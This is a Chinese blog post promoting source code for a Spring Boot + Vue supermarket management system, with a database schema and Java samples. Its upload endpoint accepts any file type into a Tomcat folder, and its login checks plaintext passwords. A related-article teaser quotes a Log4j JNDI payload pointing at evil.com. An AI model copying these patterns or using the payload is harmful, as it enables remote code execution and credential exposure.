基于Springboot+Vue的超市管理系统源码

news2024/11/26 4:48:19

✌全网粉丝20W+,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌

🍅文末获取项目下载方式🍅


一、项目背景介绍:

随着社会经济的发展和人们生活水平的提高,超市已成为人们日常购物的主要场所之一。然而,传统的超市管理方式存在诸多问题,如库存管理不精确、销售数据分析困难、员工管理效率低下等。为了提升超市的管理效率和服务质量,许多超市开始引入信息技术,并开发相应的管理系统来辅助管理工作。

本系统的开发旨在利用现代化的软件技术,结合Spring Boot和Vue等流行框架,构建一个功能全面、操作简便的超市管理系统。通过该系统,超市管理者可以实时监控销售情况、管理库存、优化采购计划,并有效地指导员工工作,从而提升超市的经营效益和服务水平。

通过深入研究和实践,本系统旨在为超市管理者提供一套可靠、高效的管理工具,帮助他们更好地应对日常经营中遇到的各种挑战,实现超市管理的智能化、便捷化和精细化。

二、项目技术简介:

  1. JAVA:Java是一门面向对象编程语言,不仅吸收了C++语言的各种优点,还摒弃了C++里难以理解的多继承、指针等概念,因此Java语言具有功能强大和简单易用两个特征。Java语言作为静态面向对象编程语言的代表,极好地实现了面向对象理论,允许程序员以优雅的思维方式进行复杂的编程。
  2. Vue:Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的JavaScript框架。它基于标准HTML、CSS和JavaScript构建,并提供了一套声明式的、组件化的编程模型,帮助开发者高效地开发用户界面。
    Vue是一个独立的社区驱动的项目,它是由尤雨溪在2014年作为其个人项目创建, 是一个成熟的、经历了无数实战考验的框架,它是目前生产环境中使用最广泛的JavaScript框架之一,可以轻松处理大多数web应用的场景,并且几乎不需要手动优化,并且Vue完全有能力处理大规模的应用。
  3. Element-UI:Element,一套为开发者、设计师和产品经理准备的基于 Vue 2.0 的桌面端组件库。
  4. SpringBoot:Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
  5. Mybatis-Plus:MyBatis-Plus(简称 MP)是一个 MyBatis的增强工具,在 MyBatis 的基础上只做增强不做改变,为 简化开发、提高效率而生。
  6. Redis:redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
    Redis 是一个高性能的key-value数据库。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

三、系统功能模块介绍:

supermarketmanager_module2.0

四、数据库设计:

1:department(department)

字段名类型默认值列注释
idbigintNULL主键
namevarcharNULL部门名称
infovarcharNULL描述
statecharNULL状态

2:detail_sale_records(detail_sale_records)

字段名类型默认值列注释
sell_cnvarcharNULL销售订单号
goods_idbigintNULL商品编号
goods_numbigintNULL商品数量
goods_pricedoubleNULL销售单价
goods_namevarcharNULL商品名

3:employee(employee)

字段名类型默认值列注释
idbigintNULL主键
phonevarcharNULL用户名
emailvarcharNULL邮箱
addressvarcharNULL住址
sexcharNULL性别
passwordvarcharNULL密码
nick_namevarcharNULL昵称
head_imglongtextNULL头像
statevarcharNULL状态 0:在职 1:离职
isAdminbitNULL是否是超管 1:是 0不是
infovarcharNULL描述
createbyvarcharNULL创建者
create_timedatetimeNULL创建时间
ageintNULL年龄
deptIdbigintNULL部门主键
id_cardvarcharNULL身份证号
leave_timedatetimeNULL离职时间

4:exchange_point_products_records(exchange_point_products_records)

字段名类型默认值列注释
cnvarcharNULL订单号
goods_idbigintNULL商品编号
member_idbigintNULL会员编号
integralbigintNULL积分
update_timedatetimeNULL最近操作时间
updatebyvarcharNULL操作者
update_idbigintNULL操作者编号
statecharNULL状态

5:goods(goods)

字段名类型默认值列注释
idbigintNULL主键
namevarcharNULL商品名
createbyvarcharNULL创建者
create_timedatetimeNULL创建时间
category_idbigintNULL商品分类id
sell_pricedoubleNULL销售价格
purchash_pricedoubleNULL进货价格
update_timedatetimeNULL更改时间
updatebyvarcharNULL更改者
category_namevarcharNULL分类名
cover_urlvarcharNULL商品封面
statecharNULL状态
residue_numbigintNULL剩余数量
infovarcharNULL备注
sales_volumebigintNULL销量
inventorybigintNULL需库存量
shelvesbigintNULL货架上需摆放的数量

6:goods_category(goods_category)

字段名类型默认值列注释
idbigintNULL主键
namevarcharNULL分类名
infovarcharNULL备注
statecharNULL状态

7:point_products(point_products)

字段名类型默认值列注释
goods_idbigintNULL
goods_namevarcharNULL
integralbigintNULL
updatebyvarcharNULL
update_timedatetimeNULL
update_idbigintNULL
cover_urlvarcharNULL
statecharNULL

8:store(store)

字段名类型默认值列注释
idbigintNULL主键
namevarcharNULL仓库名称
addressvarcharNULL仓库地址
statecharNULL状态
infovarcharNULL描述

9:supplier(supplier)

字段名类型默认值列注释
cnbigintNULL编号
namevarcharNULL名称
addressvarcharNULL地址
telvarcharNULL联系电话
infovarcharNULL备注
statecharNULL

10:t_detail_store_goods(t_detail_store_goods)

字段名类型默认值列注释
cnvarcharNULL
goods_idbigintNULL
goods_numintNULL
goods_namevarcharNULL
goods_pricedoubleNULL0:入库 1:出库
typecharNULL
createidbigintNULL
create_timedatetimeNULL
statecharNULL0:正常 1:过期 2:下架
infovarcharNULL
expiry_timedatetimeNULL过期时间
createbyvarcharNULL
birth_timedatetimeNULL生产时间
state1charNULL0:正常 1:删除 2:待处理
store_idbigintNULL
supplier_idbigintNULL供货商编号
supplier_namevarcharNULL供货商名称
untreated_numbigintNULL待处理数量

11:t_emp_role(t_emp_role)

字段名类型默认值列注释
idbigintNULL主键
eidbigintNULL用户id
ridbigintNULL角色id

12:t_goods_store(t_goods_store)

字段名类型默认值列注释
goods_idbigintNULL商品编号
store_idbigintNULL仓库编号
in_numbigintNULL入库数数量
residue_numbigintNULL剩余数量
store_namevarcharNULL仓库名

13:t_member(t_member)

字段名类型默认值列注释
idbigintNULL
namevarcharNULL姓名
phonevarcharNULL手机号
passwordvarcharNULL密码
emailvarcharNULL邮箱
statecharNULL状态
infovarcharNULL描述
integralbigintNULL会员积分

14:t_menu(t_menu)

字段名类型默认值列注释
idbigintNULL主键
labelvarcharNULL名称
purlvarcharNULL地址
typevarcharNULL类型 0:目录 1 菜单 2 按钮
parent_idbigintNULL父id
parent_labelvarcharNULL父名称
infovarcharNULL描述
statevarcharNULL状态
flagvarcharNULL权限的唯一标识
iconvarcharNULL图标
componentvarcharNULL组件路径

15:t_role(t_role)

字段名类型默认值列注释
idbigintNULL主键
namevarcharNULL角色名
infovarcharNULL描述
statecharNULL状态 0: 正常 -1:停用

16:t_role_menu(t_role_menu)

字段名类型默认值列注释
idintNULL
ridbigintNULL角色id
midbigintNULL菜单id

17:t_sale_records(t_sale_records)

字段名类型默认值列注释
cnvarcharNULL
eidbigintNULL
sellwaycharNULL
sell_timedatetimeNULL
statecharNULL0:正常 1:删除
infovarcharNULL备注
sellbyvarcharNULL
sell_totalbigintNULL销售总数量
sell_totalmoneydoubleNULL销售总金额
typecharNULL0:非会员消费 1:会员消费
member_phonevarcharNULL顾客会员号码

五、功能模块:

登录

PixPin_2024-02-19_14-41-34

销售管理

  • 销售主页PixPin_2024-02-19_14-42-25
  • 销售记录PixPin_2024-02-19_14-42-32
  • 积分兑换记录PixPin_2024-02-19_14-42-39

人事管理

  • 部门管理PixPin_2024-02-19_14-42-47
  • 员工管理PixPin_2024-02-19_14-42-55

个人中心

  • 密码修改
  • 个人资料

库存管理

  • 仓库管理PixPin_2024-02-19_14-43-43
  • 出库明细PixPin_2024-02-19_14-43-53
  • 入库明细PixPin_2024-02-19_14-44-03
  • 供货商信息PixPin_2024-02-19_14-44-09
  • 库存统计PixPin_2024-02-19_14-44-17

会员管理

  • 会员信息PixPin_2024-02-19_14-44-29

系统管理

  • 角色管理PixPin_2024-02-19_14-44-36
  • 菜单管理PixPin_2024-02-19_14-44-45

商品管理

  • 分类管理PixPin_2024-02-19_14-44-52
  • 商品信息PixPin_2024-02-19_14-44-57
  • 积分商品PixPin_2024-02-19_14-45-04
  • 销售统计PixPin_2024-02-19_14-45-14

六、代码示例:

/**
生成验证码
 */
@GetMapping("/captchaImage")
public AjaxResult getCode(HttpServletResponse response) throws IOException
{
 AjaxResult ajax = AjaxResult.success();
 boolean captchaEnabled = configService.selectCaptchaEnabled();
 ajax.put("captchaEnabled", captchaEnabled);
 if (!captchaEnabled)
 {
 return ajax;
 } // 保存验证码信息
 String uuid = IdUtils.simpleUUID();
 String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid;
 String capStr = null, code = null;
 BufferedImage image = null;
 // 生成验证码
 String captchaType = RuoYiConfig.getCaptchaType();
 if ("math".equals(captchaType))
 {
 String capText = captchaProducerMath.createText();
 capStr = capText.substring(0, capText.lastIndexOf("@"));
 code = capText.substring(capText.lastIndexOf("@") + 1);
 image = captchaProducerMath.createImage(capStr);
 }
 else if ("char".equals(captchaType))
 {
 capStr = code = captchaProducer.createText();
 image = captchaProducer.createImage(capStr);
 }
 redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES);
 // 转换流信息写出
 FastByteArrayOutputStream os = new FastByteArrayOutputStream();
 try
 {
 ImageIO.write(image, "jpg", os);
 }
 catch (IOException e)
 {
 return AjaxResult.error(e.getMessage());
 }
 ajax.put("uuid", uuid);
 ajax.put("img", Base64.encode(os.toByteArray()));
 return ajax;

}
/**
通用的本地文件上传
@param multipartFile 文件对象@return 文件访问链接URL
 */
@PostMapping("/file")
public SimpleResponse uploadImg(@RequestParam("file") MultipartFile file) {
 // 文件后缀
 String suffix = file.getOriginalFilename().substring(file.getOriginalFilename().lastIndexOf(".") + 1);
 File savePathFile = new File(newTomcatFolder);
 if (!savePathFile.exists()) {
 // 若不存在该目录,则创建目录
 savePathFile.mkdir();
 }
 // 通过UUID生成唯一文件名
 String filename = UUID.randomUUID() + "." + suffix;
 try {
 // 将文件保存指定目录
 file.transferTo(new File(newTomcatFolder + filename));
 } catch (Exception e) {
 e.printStackTrace();
 return SimpleResponse.error("保存文件异常");
 }
 // 返回访问链接
 return SimpleResponse.success(newTomcatHost + filename);
}
/**用户登录
 */
@PostMapping("/login")
public ReturnMsg manageLogin(@RequestBody Map<String, String> param) {
 if (StrUtil.isEmpty(param.get("username")) || StrUtil.isEmpty(param.get("password"))) {
 return ReturnMsg.error("用户名或密码错误!");
 }
 ManageDTO manageDTO = new ManageDTO();
 manageDTO.setUserName(param.get("username"));
 manageDTO.setPassWord(param.get("password"));
 QueryWrapper<ManageDTO> manageDTOQueryWrapper = new QueryWrapper<>(manageDTO);
 manageDTOQueryWrapper.last("limit 1");
 ManageDTO adminDTOS = manageService.getOne(manageDTOQueryWrapper);
 if (adminDTOS == null) return ReturnMsg.error("用户名或密码错误!");
 Map<String, Object> map = new HashMap<>();
 map.put("avatar", StrUtil.isNotBlank(adminDTOS.getPhotoImg()) ? adminDTOS.getPhotoImg() : "https://wpimg.wallstcn.com/f778738c-e4f8-4870-b634-56703b4acafe.gif");
 map.put("introduction", adminDTOS.getName() + ",你好!");
 map.put("name", adminDTOS.getName());
 map.put("roles", Arrays.asList("admin"));
 map.put("type", adminDTOS.getStatus());
 Map<String, String> returnMap = new HashMap<>();
 String uuid = UUID.randomUUID().toString();
 returnMap.put("token", uuid);
 userInfoMap.put(uuid, JSON.toJSONString(map));
 return ReturnMsg.ok(returnMap);
}

七、项目总结:

通过对基于Springboot+Vue的超市管理系统源码的开发,让我深刻明白开发一个程序软件需要经历的流程,当确定要开发一个基于Springboot+Vue的超市管理系统源码的程序时,
我在开发期间,对其功能进行合理的需求分析,然后才是程序软件的功能的框架设计,数据库的实体与数据表设计,
程序软件的功能详细界面实现,以及程序的功能测试等进行全方位的细致考虑,虽然在此过程中,各个环节都遇到了大大小小的困难,但是通过对这些问题进行反复的分析,深入的思考,
借助各种相关文献资料提供的方法与解决思路成功解决面临的各个问题,最后成功的让我开发的基于Springboot+Vue的超市管理系统源码得以正常运行。
基于Springboot+Vue的超市管理系统源码在功能上面是基本可以满足用户对系统的操作,但是这个程序软件也有许多方面是不足的,因此,在下一个时间阶段,有几点需要改进的地方需要提出来,它们分别是:
(1)操作页面可以满足用户简易操作的要求,但是在页面多样化设计层面上需要把一些比较丰富的设计结构考虑进来。
(2)程序软件的总体安全性能需要优化,例如程序的退出安全性,以及程序的并发性等问题都需要进行安全性升级,让开发的基于Springboot+Vue的超市管理系统源码中的相关网站更贴合。
(3)需要对程序的数据结构方面,程序的代码方面等进行优化,让运行起来的程序可以保持稳定运行,也让程序能够保证短时间内处理相关事务,节省处理事务的时间,提高事务处理的效率,
同时对服务器上资源占用的比例进行降低。
基于Springboot+Vue的超市管理系统源码的开发一方面是对自身专业知识技能进行最终考核,另一方面也是让自己学会独立解决程序开发过程中所遇到的问题,掌握将理论知识运用于程序开发实践的方法。
基于Springboot+Vue的超市管理系统源码的开发最终目标就是让系统更具人性化,同时在逻辑设计上,让系统能够更加的严谨。

八、源码获取:

大家点赞、收藏、关注、评论啦 、查看👇🏻👇🏻👇🏻获取项目下载链接,博主联系方式👇🏻👇🏻👇🏻

链接点击直达:下载链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1456931.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

第三百五十五回

文章目录 1. 概念介绍2. 获取方法3. 示例代码4. 对比与总结4.1 横向对比4.2 内容总结 我们在上一章回中介绍了"如何获取当前系统语言"相关的内容&#xff0c;本章回中将介绍如何获取当前时区.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们使用的…

探索与实践:深度解读禅道项目管理工具的高效运用

【引言】 在日益复杂的现代项目管理领域中&#xff0c;一款优秀的项目管理工具能够极大地提升团队协作效率&#xff0c;降低项目风险&#xff0c;而禅道正是这样一款深受开发者和项目经理喜爱的产品。它是一款基于敏捷开发理念设计的开源项目管理软件&#xff0c;涵盖了产品管…

One API初体验

前言 忘了在微信公众号是先看到了FastGPT还是One API了&#xff0c;反正对于自己来说知识库或One API都是个新东西&#xff0c;都有很强大的活力。One API在我看来&#xff0c;可能更基础、部署更简单一些&#xff0c;于是打算先搞个One API部署来看看。 One API是开源的&…

使用openai-whisper实现语音转文字

使用openai-whisper实现语音转文字 1 安装依赖 1.1 Windows下安装ffmpeg FFmpeg是一套可以用来记录、转换数字音频、视频&#xff0c;并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。 # ffmpeg官网 https://ffm…

业务型 长时间组件封装(复制即可使用)

{/*disabledAfter 日期限制 例如传入5 则只能选择今天日期5天内的时间 */} import React from react; import { DatePicker } from antd; import moment from moment;const { RangePicker } DatePicker;const CustomRangePicker ({ value, onChange, disabledAfter, ...restP…

小迪安全2023最新版笔记集合--续更

小迪安全2023最新版笔记集合–续更 小迪安全2023最新笔记集合 章节一 ---- 基础入门&#xff1a; 知识点集合&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服务/负载均衡等 安全产品&#xff1a;CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等 渗透命令&#xff1a;文件上传下…

Linux——开发工具的使用

目录 Linux软件包管理器 yum rzsz Linux编辑器——vim vim的使用 vim的基本操作 命令模式的常见命令 底行模式的常见命令 vim是需要配置的 Linux编译器——gcc/g 预处理 编译 汇编 链接 函数库 Linux项目自动化构建工具 make/makefile make原理 项目清理 Linux调试器g…

【JPCS出版|EI稳定检索】2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024)

2024年第四届人工智能与工业技术应用国际学术会议&#xff08;AIITA 2024&#xff09; 2024 4th International Conference on Artificial Intelligence and Industrial Technology Applications 2024年4月12日-14日 | 中国广州 大会官网&#xff1a;www.aiita.net 二轮截稿…

基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的校园求职招聘系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构…

学习Android的第十六天

目录 Android 自定义 Adapter Adapter 接口 SpinnerAdapter ListAdapter BaseAdapter 自定义 BaseAdapter 参考文档 Android ListView 列表控件 ListView 的属性和方法 表头表尾分割线的设置 列表从底部开始显示 android:stackFromBottom 设置点击颜色 cacheColorH…

数据安全治理【概述】

数据安全治理&#xff0c;顾名思义&#xff0c;可拆分为“数据安全”与“治理”数据安全可理解为目标&#xff0c;治理可理解为手段。具体定义&#xff1a;数据安全治理是指在组织数据安全战略的指导下&#xff0c;为确保组织数据处于有效保护和合法利用的状态&#xff0c;以及…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

Java学习小记——多线程Socket编程

目录 线程池线程池介绍线程池的参数 Java线程池ExecutorTester服务器socket编程普通socket编程线程池并行处理客户请求Java NIO异步处理客户请求 线程池 线程池介绍 在创建一个线程时存在一定的开销&#xff0c;创建线程的开销相比于一般的算法来说较大。首先需要建立一个调用…

如何在Windows 10中启用或关闭Windows功能?这里有详细步骤

Windows 10是一个拥有数百种功能的大型操作系统。与任何其他操作系统或软件一样&#xff0c;大多数PC用户从未使用Windows 10中提供的所有功能。例如&#xff0c;内置的XPS Viewer对大多数PC用户来说都是陌生的&#xff0c;尽管它自Windows7推出以来就一直存在。 高级PC用户通…

mybatis 基础入门使用

1、mybatis 简介 1.1、mybatis 特性 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架&#xff1b; MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集&#xff1b; MyBatis可以使用简单的XML或注解用于配置和原始映射&#xff0c;将接口和…

百度云AI

百度云AI概述 Face腾讯优图科大讯飞 百度人脸识别基于深度学习的人脸识别方案&#xff0c;准确识别图片中的人脸信息&#xff0c;提供如下功能&#xff1a; 人脸检测&#xff1a;精准定位图中人脸&#xff0c;获得眼、口、鼻等72个关键点位置&#xff0c;分析性别、年龄、表…

CI/CD部署

什么是CI&#xff0c;什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成&#xff08;Continuous Integration&#xff09;&#xff0c;是一种实践&#xff0c;旨在通过自动化构建、测试和代码静态分析等过程&#xff0c;频繁地将代码变更合并到共享存储…

ArcGIS API for JavaScript 4.X 本地部署(js,字体)

0 目录&#xff08;4.19&#xff09; /4.19/ 1 修改文件 1.1 init.js 编辑器打开/4.19/init.js搜索文本[HOSTNAME_AND_PATH_TO_JSAPI]&#xff0c;然后将其连同前面的https://替换为http://ip地址/4.19&#xff0c;可以是localhost&#xff0c;只能本机引用 替换后&#xff…

【软考高级信息系统项目管理师--第二十章:高级项目管理】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;软考高级–信息系统项目管理师 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 第二十章&#xff1a;高级项目管理 项目集管理项目组合管理组织级项目管理OPM&…

AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】

文章目录 背景什么是提示工程&#xff1f;从零开始&#xff1a;准备工作设计提示调用大语言模型 实际应用示例文字创作助手代码生成持续优化与迭代数据隐私与安全性可解释性与透明度总结 AI提示工程实战&#xff1a;从零开始利用提示工程学习应用大语言模型【文末送书-19】⛳粉…